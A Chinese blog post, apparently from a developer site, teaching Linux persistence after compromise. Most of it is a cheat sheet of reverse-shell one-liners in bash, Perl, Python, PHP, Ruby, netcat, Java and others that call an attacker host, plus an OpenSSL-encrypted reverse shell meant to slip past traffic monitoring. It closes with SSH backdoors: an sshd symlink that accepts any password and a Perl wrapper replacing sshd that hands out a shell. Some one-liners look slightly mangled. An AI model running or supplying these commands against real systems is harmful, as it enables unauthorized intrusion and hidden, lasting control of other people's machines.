kali修改文件权限不够_Linux下的权限维持

Linux权限维持

0X00 关于权限维持

b26fba8760e7948606c3288c5cf922c9.png

e458dc00185fa0ab64820a087308ffc0.png

什么是权限维持?

我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制住目标.

0X01 获得初始权限

Linux有很多种反弹shell的方法,反弹shell的好处主要是操作过程中会更加方便,对我个人来说,主要是命令补全,总之,从权限维持的角度来说,可以更好的去执行一些操作.

能否反弹shell,要根据目标的环境来尝试,有可能bash无法直接反弹,但是python却可以成功,还要注意白名单问题.

实验环境准备直接用Kali,记得做好快照.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i 5<>/dev/tcp/host/port 0>&5 1>&5

参考资料:
bash反弹shell原理解析
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'

Netcat without -e #1

mkfifo函数只是创建一个FIFO文件,要使用命名管道将其打开。

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444

telnet localhost 443 | /bin/sh | telnet localhost 444

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]); p.waitFor();

Xterm

xterm -display 10.0.0.1:1

Exec

0196;exec 196<>/dev/tcp/<your_vps>/1024; sh 196 >&196 2>&196

思考:假设渗透过程中,发现目标环境无法反弹shell,最后测试得出只开放了80和443.通过白名单反弹shell时又发现流量被拦截了,如何应对这种情况?

可以尝试通过加密数据包的方式来逃避流量监控设备.

第一步:
在VPS 上生成 SSL 证书的公钥/私钥对:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

第二步:
VPS 监听反弹 shell:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

第三步:
连接:

mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing

获得shellbffed1ac2c1d533141a7f72458066597.png

但这时你会发现,这个shell不太好用,没有基本的命令补全.

解决方法:

python -c 'import pty; pty.spawn("/bin/bash")'

pty是一个伪终端模块

pty.spawn(argv[, master_read[, stdin_read]])

产生一个进程,并将其控制终端与当前进程的标准io连接。这通常用于阻挡坚持从控制终端读取的程序。

函数 master_read 和 stdin_read 应该是从文件描述符读取的函数。默认值尝试在每次调用时读取1024字节。

在 3.4 版更改: spawn() 现在从子进程的 os.waitpid() 返回状态值

有时候提权以后终端也是会出现类似问题,一般这个方法可以解决.

或者参考后面的链接

socat

socat file:`tty`,raw,echo=0 tcp-listen:9999

把socat上传到目标机器上,然后执行:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999

也可以得到一个交互式shell

知识点来源于

将简单的shell升级为完全交互式的TTY
https://www.4hou.com/technology/6248.html

全程带阻:记一次授权网络攻防演练(下)
https://www.freebuf.com/vuls/211847.html

0X02 权限维持技术

SSH后门

SSH软连接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

建立一个软连接,然后通过5555端口访问ssh服务

正常的登陆功能

132304d42470d331e825893eee62c622.png

添加用户

useradd wing -p wing

ssh连接时密码任意输入,kali测试时,root也可以。

具体原理见[Linux的一个后门引发对PAM的探究]( http://www.91ri.org/16803.html)

SSH Wrapper

Exploit:

cd /usr/sbin/

mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd

echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd

echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

chmod u+x sshd

/etc/init.d/sshd restart

49f7dd965ef10a00f89b6ff0c3b1d5ef.png

然后连接:

socat STDIO TCP4:target_ip:22,source

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值